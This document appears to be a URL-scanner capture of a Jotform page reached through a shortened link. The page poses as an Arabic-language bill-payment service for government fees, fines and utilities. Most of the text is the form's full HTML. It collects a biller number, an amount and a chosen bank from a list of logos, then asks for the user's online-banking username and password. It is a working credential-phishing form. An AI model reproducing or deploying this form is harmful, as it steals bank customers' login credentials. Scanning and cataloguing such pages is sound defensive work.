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35.201.118.58
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Submitted URL: http://go.phot.re/3w22j5
Effective URL: https://form.jotform.com/220036256138853
Submission: On January 05 via manual from SA — Scanned from DE
Effective URL: https://form.jotform.com/220036256138853
Submission: On January 05 via manual from SA — Scanned from DE
Form analysis 1 forms found in the DOM
Name: form_220036256138853 — POST https://submit.jotform.com/submit/220036256138853/
<form class="jotform-form" action="https://submit.jotform.com/submit/220036256138853/" method="post" name="form_220036256138853" id="220036256138853" accept-charset="utf-8" autocomplete="on" novalidate="true">
<input type="hidden" name="formID" value="220036256138853">
<input type="hidden" id="JWTContainer" value="">
<input type="hidden" id="cardinalOrderNumber" value="">
<div role="main" class="form-all">
<div class="formLogoWrapper Left">
<img loading="lazy" class="formLogoImg" src="https://www.jotform.com/uploads/nwrsnaykhm/form_files/c18c0e0d-3f32-11ec-92b8-4201c0a80002.619e4fec629956.97276784.61d4a6146d4cf8.26597218.png" height="140" width="488">
</div>
<style>
.formLogoWrapper {
display: inline-block;
position: absolute;
width: 100%;
}
.form-all:before {
background: none !important;
}
.formLogoWrapper.Left {
top: -150px;
left: 0;
text-align: left;
}
</style>
<ul class="form-section page-section">
<li class="form-line" data-type="control_image" id="id_11">
<div id="cid_11" class="form-input-wide" data-layout="full">
<div style="text-align:center">
<img alt="" class="form-image" style="border:0" src="https://www.jotform.com/uploads/jnwn6785/form_files/0000000000000000000000.61c47545da4060.00543784.JPG" height="116px" width="680px" data-component="image">
</div>
</div>
</li>
<li class="form-line" data-type="control_image" id="id_6">
<div id="cid_6" class="form-input-wide" data-layout="full">
<div style="text-align:center">
<img alt="" class="form-image" style="border:0" src="https://www.jotform.com/uploads/badoshalmalm715994/form_files/c18c0e0d-3f32-11ec-92b8-4201c0a80002.619e4fec629956.97276784.png" height="195px" width="680px" data-component="image">
</div>
</div>
</li>
<li class="form-line jf-required" data-type="control_number" id="id_5">
<label class="form-label form-label-top form-label-auto" id="label_5" for="input_5"> ادخل رقم المفوتر <span class="form-required"> * </span>
</label>
<div id="cid_5" class="form-input-wide jf-required" data-layout="half">
<span class="form-sub-label-container" style="vertical-align:top">
<input type="number" id="input_5" name="q5_input5" data-type="input-number" class=" form-number-input form-textbox validate[required]" data-defaultvalue="" style="width:310px" size="310" value="" data-component="number"
aria-labelledby="label_5 sublabel_input_5" required="" step="any">
<label class="form-sub-label" for="input_5" id="sublabel_input_5" style="min-height:13px" aria-hidden="false"> رقم المفوتر </label>
</span>
</div>
</li>
<li class="form-line jf-required" data-type="control_number" id="id_4">
<label class="form-label form-label-top form-label-auto" id="label_4" for="input_4"> ادخل قيمة السداد <span class="form-required"> * </span>
</label>
<div id="cid_4" class="form-input-wide jf-required" data-layout="half">
<span class="form-sub-label-container" style="vertical-align:top">
<input type="number" id="input_4" name="q4_input4" data-type="input-number" class=" form-number-input form-textbox validate[required]" data-defaultvalue="" style="width:310px" size="310" value="" data-component="number"
aria-labelledby="label_4 sublabel_input_4" required="" step="any">
<label class="form-sub-label" for="input_4" id="sublabel_input_4" style="min-height:13px" aria-hidden="false"> قيمة السداد </label>
</span>
</div>
</li>
<li class="form-line jf-required" data-type="control_radio" id="id_7">
<label class="form-label form-label-top form-label-auto" id="label_7" for="input_7"> يرجى اختيار نوع السداد <span class="form-required"> * </span>
</label>
<div id="cid_7" class="form-input-wide jf-required" data-layout="full">
<div class="form-single-column" role="group" aria-labelledby="label_7" data-component="radio">
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_0" name="q7_input7" value="مدفوعات حكومية" required="">
<label id="label_input_7_0" for="input_7_0"> مدفوعات حكومية </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_1" name="q7_input7" value="مدفوعات الجوازات" required="">
<label id="label_input_7_1" for="input_7_1"> مدفوعات الجوازات </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_2" name="q7_input7" value="مدفوعات مخالفات مرورية" required="">
<label id="label_input_7_2" for="input_7_2"> مدفوعات مخالفات مرورية </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_3" name="q7_input7" value="مدفوعات الإتصالات" required="">
<label id="label_input_7_3" for="input_7_3"> مدفوعات الإتصالات </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_4" name="q7_input7" value="مدفوعات المياه" required="">
<label id="label_input_7_4" for="input_7_4"> مدفوعات المياه </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_5" name="q7_input7" value="مدفوعات الكهرباء" required="">
<label id="label_input_7_5" for="input_7_5"> مدفوعات الكهرباء </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_6" name="q7_input7" value="مدفوعات بلاغات التعقيب" required="">
<label id="label_input_7_6" for="input_7_6"> مدفوعات بلاغات التعقيب </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_7" name="q7_input7" value="مدفوعات المركبات" required="">
<label id="label_input_7_7" for="input_7_7"> مدفوعات المركبات </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_8" name="q7_input7" value="مدفوعات عقد إلكتروني (سائق-عاملة منزلية-عامل-مهني)" required="">
<label id="label_input_7_8" for="input_7_8"> مدفوعات عقد إلكتروني (سائق-عاملة منزلية-عامل-مهني) </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_9" name="q7_input7" value="مدفوعات منح أرض" required="">
<label id="label_input_7_9" for="input_7_9"> مدفوعات منح أرض </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_10" name="q7_input7" value="مدفوعات إلغاء هروب" required="">
<label id="label_input_7_10" for="input_7_10"> مدفوعات إلغاء هروب </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_11" name="q7_input7" value="مدفوعات عقد أجير" required="">
<label id="label_input_7_11" for="input_7_11"> مدفوعات عقد أجير </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_12" name="q7_input7" value="مدفوعات نقل ملكية" required="">
<label id="label_input_7_12" for="input_7_12"> مدفوعات نقل ملكية </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_13" name="q7_input7" value="مدفوعات تذااكر" required="">
<label id="label_input_7_13" for="input_7_13"> مدفوعات تذااكر </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_14" name="q7_input7" value="مدفوعات الخطوط الجوية" required="">
<label id="label_input_7_14" for="input_7_14"> مدفوعات الخطوط الجوية </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_15" name="q7_input7" value="مدفوعات نقل كفالة" required="">
<label id="label_input_7_15" for="input_7_15"> مدفوعات نقل كفالة </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_16" name="q7_input7" value="مدفوعات دخول مزاد" required="">
<label id="label_input_7_16" for="input_7_16"> مدفوعات دخول مزاد </label>
</span>
<span class="form-radio-item" style="clear:left">
<span class="dragger-item">
</span>
<input type="radio" aria-describedby="label_7" class="form-radio validate[required]" id="input_7_17" name="q7_input7" value="مدفوعات أخرى" required="">
<label id="label_input_7_17" for="input_7_17"> مدفوعات أخرى </label>
</span>
</div>
</div>
</li>
<li class="form-line jf-required" data-type="control_widget" id="id_8">
<label class="form-label form-label-top form-label-auto" id="label_8" for="input_8"> اختر البنك المراد التسديد منه <span class="form-required"> * </span>
</label>
<div id="cid_8" class="form-input-wide jf-required" data-layout="full">
<div data-widget-name="Image Picker" style="width:100%;text-align:Left;overflow-x:auto" data-component="widget-field">
<iframe data-client-id="52a02b574b41f8114a000004" title="Image Picker" frameborder="0" scrolling="no" allowtransparency="true" allow="geolocation; microphone; camera; autoplay; encrypted-media; fullscreen" data-type="iframe"
class="custom-field-frame custom-field-frame-rendered frame-xd-ready frame-ready" id="customFieldFrame_8" src="//widgets.jotform.io/imagePicker/?qid=8&ref=https%3A%2F%2Fform.jotform.com&injectCSS=false"
style="max-width: 600px; border: none; width: 100%; height: 628px;" data-width="600" data-height="100">
</iframe>
<div class="widget-inputs-wrapper">
<input type="hidden" id="input_8" class="form-hidden form-widget widget-required " name="q8_input8" value="">
<input type="hidden" id="widget_settings_8" class="form-hidden form-widget-settings"
value="%5B%7B%22name%22%3A%22items%22%2C%22value%22%3A%22%25D8%25A7%25D9%2584%25D8%25B1%25D8%25A7%25D8%25AC%25D8%25AD%25D9%258A%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F1.619e51994760b8.28511020.jpg%5Cn%25D8%25A7%25D9%2584%25D8%25A3%25D9%2587%25D9%2584%25D9%258A%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F2.619e51aa23b819.00705682.jpg%5Cn%25D8%25A7%25D9%2584%25D8%25A5%25D9%2586%25D9%2585%25D8%25A7%25D8%25A1%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F3.619e5232c65bd4.15289770.jpg%5Cn%25D8%25A7%25D9%2584%25D8%25B1%25D9%258A%25D8%25A7%25D8%25B6%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F4.619e52962e7172.84087231.png%5Cn%25D8%25A7%25D9%2584%25D8%25A8%25D9%2584%25D8%25A7%25D8%25AF%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F5.619e52d644bf60.53059119.jpg%5Cn%25D8%25B3%25D8%25A7%25D9%2585%25D8%25A8%25D8%25A7%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F6.619e5440c83a48.77794237.png%5Cn%25D8%25A7%25D9%2584%25D8%25B9%25D8%25B1%25D8%25A8%25D9%258A%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F7.619e5327810007.42862815.jpg%5Cn%25D8%25A7%25D9%2584%25D8%25B3%25D8%25B9%25D9%2588%25D8%25AF%25D9%258A%2520%25D8%25A7%25D9%2584%25D8%25A3%25D8%25B3%25D8%25AA%25D8%25AB%25D9%2585%25D8%25A7%25D8%25B1%25D9%258A%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F8.619e54643f0631.18164434.png%5Cn%25D8%25A7%25D9%2584%25D8%25B3%25D8%25B9%25D9%2588%25D8%25AF%25D9%258A%2520%25D8%25A7%25D9%2584%25D9%2581%25D8%25B1%25D9%2586%25D8%25B3%25D9%258A%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2Fcd0b77a9-3f40-11ec-92b8-4201c0a80002.619e54817362f5.53396506.jpg%5Cn%25D8%25B3%25D8%25A7%25D8%25A8%7Chttps%3A%2F%2Fwww.jotform.com%2Fuploads%2Fbadoshalmalm715994%2Fform_files%2F%2525D8%2525B3%2525D8%2525A7%2525D8%2525A8.619e54a105f195.36240218.jpg%22%7D%2C%7B%22name%22%3A%22fixedSize%22%2C%22value%22%3A%22150x125%22%7D%2C%7B%22name%22%3A%22limit%22%2C%22value%22%3A%220%22%7D%2C%7B%22name%22%3A%22select%22%2C%22value%22%3A%22Border%22%7D%5D"
data-version="2">
</div>
<script type="text/javascript">
setTimeout(function() {
var _cFieldFrame = document.getElementById("customFieldFrame_8");
if (_cFieldFrame) {
_cFieldFrame.onload = function() {
if (typeof widgetFrameLoaded !== 'undefined') {
widgetFrameLoaded(8, {
"formID": 220036256138853
})
}
};
_cFieldFrame.src = "//widgets.jotform.io/imagePicker/?qid=8&ref=" + encodeURIComponent(window.location.protocol + "//" + window.location.host) + '' + '' + '&injectCSS=' + encodeURIComponent(window.location.search.indexOf(
"ndt=1") > -1);
_cFieldFrame.addClassName("custom-field-frame-rendered");
}
}, 0);
</script>
</div>
</div>
</li>
<li class="form-line jf-required" data-type="control_fullname" id="id_9">
<label class="form-label form-label-top form-label-auto" id="label_9" for="first_9"> أدخل أسم المستخدم وكلمة المرور الخاصة بك <span class="form-required"> * </span>
</label>
<div id="cid_9" class="form-input-wide jf-required" data-layout="full">
<div data-wrapper-react="true">
<span class="form-sub-label-container" style="vertical-align:top" data-input-type="first">
<input type="text" id="first_9" name="q9_input9[first]" class="form-textbox validate[required]" data-defaultvalue="" autocomplete="section-input_9 given-name" size="10" value="" data-component="first"
aria-labelledby="label_9 sublabel_9_first" required="">
<label class="form-sub-label" for="first_9" id="sublabel_9_first" style="min-height:13px" aria-hidden="false"> أسم المستخدم </label>
</span>
<span class="form-sub-label-container" style="vertical-align:top" data-input-type="last">
<input type="text" id="last_9" name="q9_input9[last]" class="form-textbox validate[required]" data-defaultvalue="" autocomplete="section-input_9 family-name" size="15" value="" data-component="last"
aria-labelledby="label_9 sublabel_9_last" required="">
<label class="form-sub-label" for="last_9" id="sublabel_9_last" style="min-height:13px" aria-hidden="false"> كلمة المرور </label>
</span>
</div>
</div>
</li>
<li class="form-line" data-type="control_button" id="id_10">
<div id="cid_10" class="form-input-wide" data-layout="full">
<div data-align="auto" class="form-buttons-wrapper form-buttons-auto jsTest-button-wrapperField">
<button id="input_10" type="submit" class="form-submit-button form-submit-button-simple_orange submit-button jf-form-buttons jsTest-submitField" data-component="button" data-content=""> تأكيد </button>
</div>
</div>
</li>
<li style="display:none"> Should be Empty: <input type="text" name="website" value="">
</li>
</ul>
</div>
<script>
JotForm.showJotFormPowered = "0";
</script>
<script>
JotForm.poweredByText = "Powered by Jotform";
</script>
<input type="hidden" class="simple_spc" id="simple_spc" name="simple_spc" value="220036256138853-220036256138853">
<script type="text/javascript">
var all_spc = document.querySelectorAll("form[id='220036256138853'] .si" + "mple" + "_spc");
for (var i = 0; i < all_spc.length; i++) {
all_spc[i].value = "220036256138853-220036256138853";
}
</script>
<input type="hidden" name="event_id" value="1641415961170_220036256138853_138zbww">
</form>Text Content
* * * ادخل رقم المفوتر * رقم المفوتر * ادخل قيمة السداد * قيمة السداد * يرجى اختيار نوع السداد * مدفوعات حكومية مدفوعات الجوازات مدفوعات مخالفات مرورية مدفوعات الإتصالات مدفوعات المياه مدفوعات الكهرباء مدفوعات بلاغات التعقيب مدفوعات المركبات مدفوعات عقد إلكتروني (سائق-عاملة منزلية-عامل-مهني) مدفوعات منح أرض مدفوعات إلغاء هروب مدفوعات عقد أجير مدفوعات نقل ملكية مدفوعات تذااكر مدفوعات الخطوط الجوية مدفوعات نقل كفالة مدفوعات دخول مزاد مدفوعات أخرى * اختر البنك المراد التسديد منه * * أدخل أسم المستخدم وكلمة المرور الخاصة بك * أسم المستخدم كلمة المرور * تأكيد * Should be Empty: